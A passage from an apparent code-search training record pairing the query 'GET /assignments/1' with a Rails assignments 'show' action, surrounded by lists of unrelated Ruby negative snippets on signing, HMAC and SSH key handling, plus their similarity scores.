"def sign_legacy(private_key)\n ctx = Secp256k1::Context.new\n signature, recovery_id = ctx.sign_recoverable(private_key, hash).compact\n result = signature.bytes\n result = result.append(27 + recovery_id)\n result.pack('c*')\n end",
"def add\n keyfile = args.first || find_key\n key = File.read(keyfile)\n\n display \"Uploading ssh public key #{keyfile}\"\n heroku.add_key(key)\n end",
"def signing_key; end",
"def aws_sign(key, data)\n OpenSSL::HMAC.digest(\"SHA256\", key, data)\n end",
"def sign\n begin\n data64 = params[:data]\n data = Base64.decode64(data64)\n crypto = GPGME::Crypto.new(password: ENV[\"PASSPHRASE\"].to_s)\n signature = crypto.sign(data, signer: ENV[\"EMAIL\"].to_s, mode: GPGME::SIG_MODE_DETACH)\n render json: {\"email\": ENV[\"EMAIL\"].to_s,\n \"signature\": Base64.strict_encode64(signature.to_s)}, \n status: 200\n\n rescue => error\n render json: {\"error\": error.message},\n status: 500\n end\n end",
"def send_key\n res = `ssh-copy-id #{@@options}-i #{@key} #{@name}#{@@suffix}`\n puts \"Could not send key to #{@name}\" unless $?.success?\n end",
"def sign_vote(message, voter_id, key = nil, iv = nil)\n encrypted_msg, msg_key, iv = @encryptor.encrypt(message.to_json, key, iv)\n encoded_encrypted_msg = Base64.encode64(encrypted_msg)\n blinded_encoded_encrypted_msg, r = rsa.blind(encoded_encrypted_msg, admin_key)\n voter_signed_blinded_encoded_encrypted_msg = rsa._sign(blinded_encoded_encrypted_msg, voter_key)\n\n admin_response = admin_client.get_admin_signature(\n voter_id,\n blinded_encoded_encrypted_msg,\n voter_signed_blinded_encoded_encrypted_msg,\n voter_key.public_key.to_s)\n\n raise AdminSignatureError if admin_response.to_s == \"\" || admin_response['error']\n\n admin_signed_blinded_encoded_encrypted_msg = admin_response['data']['admin_signature']\n admin_signed_encoded_encrypted_msg = rsa.unblind(admin_signed_blinded_encoded_encrypted_msg, r, admin_key)\n\n msg_int = rsa.text_to_int(encoded_encrypted_msg)\n\n if rsa.verify(signed: admin_signed_encoded_encrypted_msg, message: msg_int, key: admin_key)\n puts \"\\n UNBLINDED SINGED IS VERIFIED!\\n\"\n else\n raise AdminSignatureError.new(\"unblinded signature invalid\")\n end\n\n DataSignerResult.new(msg_int, blinded_encoded_encrypted_msg, admin_signed_blinded_encoded_encrypted_msg, r, voter_key.to_s, msg_key, Base64.encode64(iv))\n end",
"def set_sshkey\n @sshkey = Sshkey.find(params[:id])\n end",
"def ssh_key_params\n params.require(:ssh_key).permit(:name, :key_string)\n end",
"def public_key_params\n params.require(:public_key).permit(:body, :algorithm)\n end",
"def client_signature(key, message)\n @client_signature ||= hmac(key, message)\n end",
"def sign\n validate!\n\n @voter.update(\n data: @data,\n signature: @signature,\n signed_vote_at: Time.now\n )\n\n signer = @signer.new(@admin_key)\n signer.sign(@data.to_i)\n end",
"def sign(data, key)\n hmac = OpenSSL::HMAC.new(key, OpenSSL::Digest::SHA256.new)\n hmac.update data\n hmac.digest\n end",
"def sign(params)\n Digest::MD5::hexdigest(wrap_with_secret sorted_option_string(params)).upcase\n end",
"def sign(content, secret:)\n encoded = Base64.encode64(content)\n digest = OpenSSL::Digest.new(\"sha1\")\n OpenSSL::HMAC.hexdigest(digest, secret, encoded)\n end",
"def sign(body)\n signed = OpenSSL::HMAC.digest('sha256', access_key, body)\n Base64.strict_encode64(signed)\n end",
"def write_signature\n self.message = \"#{real_message.chomp}\\n\\n#{SIG_KEY}: #{signature}\\n\"\n IO.write(@message_file, message, 0, mode: 'w') unless @message_file.nil?\n end",
"def sign_tx(raw_tx, pkey_wif)\n # Seems like this is your quintessential reference: \n # http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html\n\n # I think this is the right way to do it...\n Bitcoin.network = (bitcoin.is_testing?) ? :testnet3 : :bitcoin\n\n # This parses the binary-encoded raw transaction:\n tx = Bitcoin::P::Tx.new [raw_tx].pack('H*')\n\n # This is the input transaction, which we'll need for signining:\n prev_hash = tx.in[0].prev_out.reverse_hth\n\n # let's parse the keys:\n key = Bitcoin::Key.from_base58 pkey_wif\n\n pubkey = [key.pub].pack('H*')\n\n # And parse the input transaction:\n prev_tx = Bitcoin::P::Tx.new [bitcoin.getrawtransaction(prev_hash)].pack('H*')\n\n # And, now we're ready to sign: \n subscript = tx.signature_hash_for_input 0, prev_tx\n sig = Bitcoin.sign_data Bitcoin.open_key(key.priv), subscript\n tx.in[0].script_sig = Bitcoin::Script.to_signature_pubkey_script sig, pubkey \n\n tx.to_payload.unpack('H*')[0]\n end",
"def makehash(body)\n Log.debug(\"Creating message hash using #{private_key_file}\")\n\n sign(private_key_file, body.to_s)\n end",
"def signature\n OpenSSL::HMAC.hexdigest('sha1', Redtail.config.sentry_key, \"#{@timestamp} #{@message}\")\n end",
"def signing_request\n req = OpenSSL::X509::Request.new\n req.public_key = key.public_key\n req.subject = OpenSSL::X509::Name.new([['CN', domain]])\n req.sign(key, OpenSSL::Digest::SHA256.new)\n end",
"def add_key(ssh)\n output = ssh.exec!('cat ~/.ssh/authorized_keys')\n key_file_content = File.read(@keyfile)\n ssh.exec!('mkdir ~/.ssh')\n ssh.exec!(\"echo '#{key_file_content}' >> ~/.ssh/authorized_keys\") unless output.include? key_file_content\n end",
"def signature\n # Remove 'sha_sign' key from request params and concatenate all\n # key value pairs\n params = payload.to_h\n .reject { |key, value| key == :sha_sign }\n .reject { |key, value| value == '' || value == false }.sort\n .map { | key, value| \"#{key}=#{value}#{passphrase}\" }.join\n\n # Calculate SHA512 and upcase all letters, since Digistore will\n # also return upcased letters in the signature.\n Digest::SHA512.hexdigest(params).upcase\n end",
"def ssh_key(arg=nil)\n set_or_return(:ssh_key, arg, :kind_of => String)\n end",
"def ssh_do_verify(sig, data, options = T.unsafe(nil)); end",
"def ssh_do_verify(sig, data, options = T.unsafe(nil)); end",
"def ssh_do_verify(sig, data, options = T.unsafe(nil)); end",
"def sign_payload(secret, payload)\n OpenSSL::HMAC::hexdigest('sha256', secret, payload)\nend",
"def public_key; end",
"def public_key; end",
"def public_key; end",
"def rsa_sign arr\n # RFC 3447 / 9.2.\n hash = Digest::SHA1.digest arr.map(&:chr).join\n\n # RFC 3447 / page 43\n digest_info = [0x30, 0x21, 0x30, 0x09, 0x06,\n 0x05, 0x2b, 0x0e, 0x03, 0x02,\n 0x1a, 0x05, 0x00, 0x04, 0x14].map(&:chr).join\n\n # i don't do the padding, openssl does that for me\n # i'll reimplement RSA later on\n signature = HOST_KEY.private_encrypt(digest_info + hash)\nend",
"def sign(wallet)\n tx = Arweave::Transaction.new(data: @commit.message.to_s)\n @commit.to_tags.each do |name, value|\n tx.add_tag(name: name, value: value)\n end\n tx.sign(wallet)\n end",
"def public_key_for_push_header\n trim_encode64(curve.public_key.to_bn.to_s(2))\n end",
"def sign!(request, options = {})\n consumer.sign!(request, self, options)\n end",
"def sign(payload)\n payload = payload.merge({\n :client_id => @client_id,\n :client_secret => @client_secret,\n })\n\n scope = create_scope\n context = create_context(payload)\n s2s = create_string_to_sign(scope, context)\n signing_key = get_signing_salt\n OpenSSL::HMAC.hexdigest(@hash_algo, signing_key, s2s)\n end",
"def sign(data)\n if rsa?\n @priv.sign(OpenSSL::Digest::SHA1.new,data)\n elsif dsa?\n # DSS1 was dropped from OpenSSL in version 1.1\n # @priv.sign(OpenSSL::Digest::DSS1.new,data)\n raise StandardError, 'DSA is not supported'\n end\n end",
"def sign_certificate\n sign_certificate_for(default)\n end",
"def create\n @public_key.user = current_user\n respond_to do |format|\n if @public_key.save\n # PublicKey.regenerate_authorized_keys\n GitWit.add_authorized_key(current_user.username, @public_key.raw_content)\n\n format.html { redirect_to @public_key, notice: 'Public key was successfully created.' }\n format.json { render json: @public_key, status: :created, location: @public_key }\n else\n format.html { render action: \"new\" }\n format.json { render json: @public_key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_public_key(path, key, options = {})\n create_or_update_key(path, key, 'public', 'post', options)\n end",
"def build_ssh_key(build, key, hostname)\n body = { hostname: hostname, private_key: key }\n CircleCi.request(conf, \"#{base_path}/#{build}/ssh-users\").post(body)\n end",
"def sign secret, string_to_sign, digest_method = 'sha256'\n Base64.encode64(hmac(secret, string_to_sign, digest_method)).strip\n end",
"def add\n if keyfile = args.first\n display \"Uploading ssh public key #{keyfile}\"\n heroku.add_key(File.read(keyfile))\n else\n # make sure we have credentials\n Heroku::Auth.get_credentials\n Heroku::Auth.associate_or_generate_ssh_key\n end\n end"
] |
[
"0.69905317",
"0.6878072",
"0.6772801",
"0.64663434",
"0.6460009",
"0.6244644",
"0.6233207",
"0.62019277",
"0.61878014",
"0.6138916",
"0.60511136",
"0.60146034",
"0.59577733",
"0.59250337",
"0.5899591",
"0.5859341",
"0.5803851",
"0.5797215",
"0.5744226",
"0.56867135",
"0.56813365",
"0.56728214",
"0.564654",
"0.564654",
"0.564654",
"0.5640534",
"0.5637549",
"0.56316656",
"0.55948174",
"0.5572331",
"0.5561367",
"0.5548946",
"0.5535418",
"0.5530309",
"0.5527864",
"0.55052286",
"0.5489371",
"0.5457736",
"0.54471076",
"0.5441593",
"0.543393",
"0.54301935",
"0.53886163",
"0.53867275",
"0.5385578",
"0.5379863",
"0.53692603",
"0.534904",
"0.5322604",
"0.5317813",
"0.5315443",
"0.5295145",
"0.5294088",
"0.52922326",
"0.5291107",
"0.5286723",
"0.5283531",
"0.528115",
"0.5278247",
"0.5272592",
"0.5270996",
"0.52669483",
"0.52647555",
"0.5262238",
"0.52602154",
"0.5236122",
"0.52124345",
"0.520912",
"0.5209069",
"0.5206202",
"0.52030843",
"0.52008224",
"0.5198844",
"0.51964843",
"0.51905185",
"0.5189739",
"0.51881963",
"0.51874685",
"0.5187165",
"0.5184807",
"0.5173762",
"0.5171852",
"0.5171852",
"0.5171852",
"0.51710707",
"0.5159214",
"0.5159214",
"0.5159214",
"0.51552045",
"0.5148765",
"0.51472515",
"0.514501",
"0.5142518",
"0.51381063",
"0.5129175",
"0.51214635",
"0.5120381",
"0.51014614",
"0.50988114",
"0.5088456"
] |
0.5456617
|
38
|
GET /assignments GET /assignments.json
|
def index
redirect_to course_path @course #Easiest to put things in one place
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n\t\t@assignments = Assignment.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @assignments }\n\t\tend\n\tend",
"def index\n render json: { assignments: [ @assignment.as_json ] }\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n end",
"def assignments\n\t\t@course = Course.find(params[:id])\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.json\n\t\tend\n\tend",
"def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignments }\n end\n end",
"def index\n @assignments = Assignment.all\n\t@users = User.all\n\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end",
"def index\n @assignments = @user.assignments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end",
"def assignments\n @assignments = Assignment.where(\"email=?\",session[:user].email)\n end",
"def get_assignments(course_id)\n\n request = Net::HTTP::Get.new(\n \"/api/v1/courses/#{course_id}/assignments?include=overrides&access_token=#{Rails.application.secrets.canvas_access_token}\"\n )\n response = open_canvas_http.request(request)\n info = get_all_from_pagination(response)\n\n info\n end",
"def assignments\n Assignment.where(:course_id => id)\n end",
"def index\n @task_assignments = TaskAssignment.all\n end",
"def index\n render json: Assignment.all\n end",
"def course_assignments\n all_assignments = []\n params = \"per_page=100\"\n while params do\n response = request_uncached(\n \"courses/#{@course_id}/assignments?#{params}\",\n '_course_assignments'\n )\n break unless (response && response.status == 200 && assignments_list = safe_json(response.body))\n all_assignments.concat(assignments_list)\n params = next_page_params(response)\n end\n all_assignments\n end",
"def show\n @assigned = Assigned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assigned }\n end\n end",
"def index\n @assignments = Assignment.all\n if current_user.instructor?(@course)\n if @assignment = @course.assignments.last\n @URL = course_assignment_url(@course, @assignment)\n else\n @URL = edit_user_path(current_user, :course => @course.id) #default is settings page\n end\n else #student\n if urgent = @course.to_do(current_user)[0] # see if student has a to_do\n @URL = course_assignment_url(@course, urgent[:assignment])\n elsif (any = @course.assignments.select{|a| !a.draft }).length > 0\n @URL = course_assignment_path(@course, any.sort_by{|a| a.created_at }.last ) #show newest assignment\n else\n @URL = edit_user_path(current_user) #go to settings page\n end\n end\n\n respond_to do |format|\n format.html { redirect_to(@URL) }\n format.json { render json: @assignments }\n end\n end",
"def index\n @user_assignments = UserAssignment.all\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment.to_json }\n end\n end",
"def all\n @assignments = TaskAssignment.all\n\n end",
"def index\n @techers_assignments = TechersAssignment.all\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @assignment }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id]) #respond_to do |format|\n # format.html # index.html.erb\n # format.xml { render :xml => @assignments }\n @task = @assignment.task\n @project = @task.project\n \n @assignee = @assignment.user\n @members = @project.memberships.select { |member| member.is_approved? }\n @candidates = @members.collect { |member| member.user }\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end",
"def task_assignments\n @task_assignments ||= Harvest::API::TaskAssignments.new(credentials)\n end",
"def index\n unless params[:assignment_id]\n render json: format_errors({ base: ['This Endpoint requires a assignment_id in the params'] }),\n status: :bad_request\n return\n end\n\n @iterations = current_user.iterations(includes: includes_array)\n .where(assignment_id: params[:assignment_id])\n serialize_collection @iterations, :ok\n end",
"def index\n @assignments = current_campaign.all_assignments.order(id: :desc)\n end",
"def user_assignments\n @user_assignments ||= Harvest::API::UserAssignments.new(credentials)\n end",
"def assignments\n return @assignments\n end",
"def assignments\n return @assignments\n end",
"def assignments\n return @assignments\n end",
"def assignments\n return @assignments\n end",
"def assignments\n return @assignments\n end",
"def find_assignments\n assignment_ids =[]\n results = CONNECTION.execute(\"SELECT * FROM assignments_links WHERE link_id = #{@id};\")\n results.each do |hash|\n assignment_ids << hash[\"assignment_id\"]\n end\n Assignment.find_many(assignment_ids)\n end",
"def index\n if params[:assignment_id] && current_user.teacher?\n @assignment = Assignment.find(params[:assignment_id])\n @grades = @assignment.grades\n elsif params[:id] && current_user.teacher?\n @user = User.find(params[:id])\n elsif current_user.teacher?\n @assignments = current_user.assignments\n else\n @user = current_user\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignment.to_json(:include => :grades ) } \n end\n end",
"def index\n @exceller_assignments = ExcellerAssignment.all\n end",
"def task_assignments\n harvest_client.task_assignments(project_id: self.id)\n end",
"def user_assignments\n harvest_client.user_assignments(project_id: self.id)\n end",
"def index\n @assignments = Assignment.eager_load(assignment_schedules: :corrections).order(number: :asc).all\n end",
"def get_project_assignments\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:student_approved => true, :professor_approved => true)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end",
"def index\n @roles_assignments = RolesAssignment.all\n end",
"def all\n @assignments\n end",
"def show\n\t\t@assignment = Assignment.find(params[:id])\n\tend",
"def show\n\t\t@grade = Grade.find_by_assignment_id_and_user_id(@assignment.id, @current_user.id)\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @assignment }\n\t\tend\n\tend",
"def index\n @assignments = $current_community.assignments.where(:close_date => nil).joins(:assignment_status) \n authorize Assignment\n end",
"def show\n @grade = Grade.find(params[:id])\n respond_to do |format|\n format.html \n format.json { render :json => @grade.as_json(:include => :assignment) }\n end\n end",
"def goto_assignments\n goto_controller('Assignments')\n end",
"def show\n authorize! :read, @assignment\n end",
"def show\n @assignment = Assignment.find(params[:id])\n end",
"def as_json(assignments)\n assignments.map {|assignment| serialize_assignment(assignment) }\n end",
"def show\n @assignment = Assignment.find_by_id(params[:id])\n end",
"def index\n @assignment_special_assignments = Assignment::SpecialAssignment.paginate(:page => params[:page], :per_page => 50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignment_special_assignments }\n end\n end",
"def index\n @activity_participant_assignments = ActivityParticipantAssignment.all\n end",
"def show\n @assignment_status = AssignmentStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment_status }\n end\n end",
"def index\n @student_assignments = StudentAssignment.all\n end",
"def show\n #@@assignment = return_if_assignment_exists?\n @temp_assignment = @assignment.assignments_users.where(:assignee_id => current_user.id)\n @comments = @assignment.comments\n @subtasks = @assignment.subtasks\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def all_permission_set_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"permissionSets/#{id}/assignments\", params)\n end",
"def index\n @assignments = Assignment.all(order: :id)\n if current_user.student?\n # get results for assignments for the current user\n @a_id_results = Hash.new()\n @assignments.each do |a|\n if current_user.has_accepted_grouping_for?(a)\n grouping = current_user.accepted_grouping_for(a)\n if grouping.has_submission?\n submission = grouping.get_submission_used\n if submission.has_result? && submission.get_latest_result.released_to_students\n @a_id_results[a.id] = submission.get_latest_result\n end\n end\n end\n end\n render :student_assignment_list\n elsif current_user.ta?\n render :grader_index\n else\n render :index\n end\n end",
"def index\n @case_assignments = CaseAssignment.all\n end",
"def user_role_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"users/#{id}/roleAssignments\", params)\n end",
"def find\n @assignment = Assignment.find_by_shift_id_and_user_id(params[:shift_id], params[:user_id])\n\n respond_to do |format|\n format.json { render :json => @assignment }\n end\n end",
"def assignments\n self.course.assignments if self.course\n end",
"def user_permission_set_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"users/#{id}/permissionSetAssignments\", params)\n end",
"def index\n if params[:query]\n data = RepoWrapper.search(params[:query]) # QUESTION: ...what?\n else\n data = Assignment.all\n end\n render status: :ok, json: data\n end",
"def index\n @assignments = current_user.assignments\n\n\n if @assignments.count == 0\n render :error_page\n else\n render :index\n end\n\n end",
"def index\n @tasks = @assignment.tasks.all \n end",
"def index\n\t\tboats = Assignment.all\n \trender json: boats, status: 200\n\tend",
"def show\n @course = Course.find(params[:id])\n if signed_in?\n @students = @course.students #assigns a student to that course array which it yields\n @teachers = @course.teachers #course array which it yields teachers\n @teacher = @teachers.include?(current_user)\n @student = @students.include?(current_user)\n\n end\n @assignments = Assignment.all\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def show\n @group = Group.find(params[:group_id])\n @assignment = @group.assignments.find(params[:id])\n if params[:user_id]\n @user = @group.users.find(params[:user_id])\n @attempts = @assignment.attempts.where(:user_id => @user.id)\n else\n @attempts = @assignment.attempts.includes(:user)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def get_single_assignment(course_id,id,include,opts={})\n query_param_keys = [\n :include,\n :override_assignment_dates\n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"course_id is required\" if course_id.nil?\n raise \"id is required\" if id.nil?\n raise \"include is required\" if include.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :course_id => course_id,\n :id => id,\n :include => include\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{course_id}/assignments/{id}\",\n :course_id => course_id,\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n Assignment.new(response)\n end",
"def index\n @type_of_assignments = TypeOfAssignment.all\n end",
"def current_assignments\n @assignments = current_user.current_studio_assignments\n @costumes = @assignments.find_costumes\n @season = @assignments.first.dance_season unless @assignments.empty?\n end",
"def assignments=(value)\n @assignments = value\n end",
"def assignments=(value)\n @assignments = value\n end",
"def assignments=(value)\n @assignments = value\n end",
"def assignments=(value)\n @assignments = value\n end",
"def assignments=(value)\n @assignments = value\n end",
"def create\n unless current_user.assignments.find_by(id: params[:assignment_id])\n render json: format_errors({ assignment_id: [\"is not one of current user's assignments\"] }),\n status: :forbidden\n return\n end\n\n @iteration = Iteration.create(iteration_params)\n\n if @iteration.save\n render json: @iteration, status: :created\n else\n render json: format_errors(@iteration.errors),\n status: :unprocessable_entity\n end\n end",
"def index\n #select only the records for the given course param.\n @assignments = Assignment.where(\"course_id = ?\", params[:course_id])\n end",
"def assignments\n query_string = \n \"SELECT assignments.id AS id, assignments.name AS name, assignments.description AS description, \n assignments.where_stored AS where_stored\n FROM collaborators\n JOIN assignments ON assignments.id == collaborators.assignment_id\n WHERE collaborators.user_id = #{id};\"\n \n rec = run_sql(query_string)\n if rec.blank?\n []\n else\n Assignment.as_objects(rec)\n end\n end",
"def show\n @patient_assignment = PatientAssignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_assignment }\n end\n end",
"def new\n @assignment = @user.assignments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end",
"def index\n @assigners = Assigner.all\n end",
"def active_assignments \n courses.each do |course|\n course.active_assignments\n end\n end",
"def index\n @current_assignments = Assignment.current.by_employee.paginate(page: params[:page]).per_page(10)\n @past_assignments = Assignment.past.by_employee.paginate(page: params[:page]).per_page(10) \n end",
"def get_assignment\n return TestCase.find(params[:id]).assignment\n end",
"def index\n @power_assignments = PowerAssignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @power_assignments }\n end\n end",
"def assignment_roles\n AssignmentRole.all\n end",
"def index\n id = params[:ids].first.split(\":\").third\n assignment = AllAboard::PerspectiveAssignment.find(id)\n respond_with assignment.configurable_attributes\n end",
"def show\n\t\t@disabled\t= @course.disabled_assignments(@current_user)\n\t\t@upcoming \t= @course.upcoming_assignments(@current_user)\n\t\t@undated \t= @course.undated_assignments(@current_user)\n\t\t@past \t\t= @course.past_assignments(@current_user)\n\t\t@graded\t\t= @course.graded_assignments(@current_user)\n\t\t\n\t\t# The number of uncompleted assignments\n\t\t@num_uncompleted = @upcoming.length + @undated.length\n\t\t\n\t\tif @num_uncompleted + @past.length + @graded.length != 0\n\t\t\t@percent_completed = 100 * (@past.length + @graded.length) /\n\t\t\t\t\t\t\t\t\t(@num_uncompleted + @past.length + @graded.length)\n\t\tend\n\n\t\tif @upcoming.last\n\t\t\t@days_left = (@course.end_date - Date.today).to_i;\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @course }\n\t\tend\n\tend",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @assignment }\n end\n end",
"def index\n @assignment_employees = AssignmentEmployee.all\n end",
"def show\n @assigned_project = AssignedProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assigned_project }\n end\n end",
"def get_task\n @task = Task.find(params[:task_id])\n @assignment = Assignment.find(@task.assignment_id)\n end",
"def role_assignments=(value)\n @role_assignments = value\n end",
"def new\n @assignment = @course.assignments.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end"
] |
[
"0.742175",
"0.7402341",
"0.7262853",
"0.7262853",
"0.7262853",
"0.7262853",
"0.7233654",
"0.7213074",
"0.7161295",
"0.7135652",
"0.70959735",
"0.7018067",
"0.7017317",
"0.6912195",
"0.6847285",
"0.6798713",
"0.6783859",
"0.6739282",
"0.6734983",
"0.6719285",
"0.6698327",
"0.66189384",
"0.66032815",
"0.66020375",
"0.66020375",
"0.66020375",
"0.6568325",
"0.6546052",
"0.6539607",
"0.6538531",
"0.65306985",
"0.65292495",
"0.6528296",
"0.6528296",
"0.6528296",
"0.6528296",
"0.6528296",
"0.651946",
"0.6508518",
"0.65078914",
"0.6500521",
"0.648593",
"0.64392674",
"0.643454",
"0.64241594",
"0.6416064",
"0.64104915",
"0.6395331",
"0.6390201",
"0.6381909",
"0.63538057",
"0.634787",
"0.6333586",
"0.63307637",
"0.63100034",
"0.62943214",
"0.62933785",
"0.6289142",
"0.628223",
"0.6274205",
"0.62659276",
"0.6255375",
"0.6226642",
"0.62198806",
"0.62173486",
"0.62143",
"0.6206749",
"0.6198091",
"0.6187007",
"0.61819637",
"0.61606884",
"0.61564535",
"0.6122015",
"0.6109521",
"0.6101995",
"0.6082058",
"0.60677993",
"0.6064812",
"0.6064812",
"0.6064812",
"0.6064812",
"0.6064812",
"0.6051218",
"0.6046253",
"0.6035111",
"0.60321975",
"0.6009478",
"0.60083115",
"0.60059905",
"0.5988547",
"0.59786165",
"0.59522694",
"0.59439594",
"0.5931951",
"0.5925192",
"0.59182256",
"0.5891689",
"0.58766246",
"0.58712643",
"0.5862974",
"0.5860019"
] |
0.0
|
-1
|
GET /assignments/1 GET /assignments/1.json
|
def show
if user_signed_in?
@trigger = TriggerAction.pending_action("review_required", current_user, @assignment)
@my_answers = Answer.where(user: current_user, assignment: @assignment, active: true)
@my_reviews = Review.where(answer_id: @my_answers, active: true, assignment_id: @assignment.id)
if current_user.get_and_store_experimental_condition!(@assignment.course) == "batched_email"
@my_reviews = Review.where(answer_id: @my_answers, active: true, assignment_id: @assignment.id).where('created_at < ?', 1.day.ago)
end
@reviews_by_me = Review.where(active: true, assignment_id: @assignment.id).where("user_id = ? or copilot_email = ?", current_user.id,current_user.email)
@out_of_box_answers_with_count = Review.where(assignment_id: @assignment.id, out_of_box_answer: true).group(:answer_id).count
unless @out_of_box_answers_with_count.blank?
@out_of_box_answers = @out_of_box_answers_with_count.reject {|k,v| v < 2 }
end
if @out_of_box_answers.blank?
@out_of_box_answers = {}
end
end
@all_answers = @assignment.answers.reviewable.limit(10)
@starred_answers = @assignment.answers.reviewable.where(starred: true)
render layout: "one_column"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n render json: { assignments: [ @assignment.as_json ] }\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n end",
"def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignments }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment.to_json }\n end\n end",
"def index\n\t\t@assignments = Assignment.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @assignments }\n\t\tend\n\tend",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @assignment }\n end\n end",
"def index\n @assignments = Assignment.all\n\t@users = User.all\n\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end",
"def assignments\n\t\t@course = Course.find(params[:id])\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.json\n\t\tend\n\tend",
"def index\n @assignments = @user.assignments\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n end",
"def show\n\t\t@assignment = Assignment.find(params[:id])\n\tend",
"def show\n @assignment = Assignment.find_by_id(params[:id])\n end",
"def index\n render json: Assignment.all\n end",
"def show\n @assigned = Assigned.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assigned }\n end\n end",
"def show\n @assignment_status = AssignmentStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment_status }\n end\n end",
"def assignments\n Assignment.where(:course_id => id)\n end",
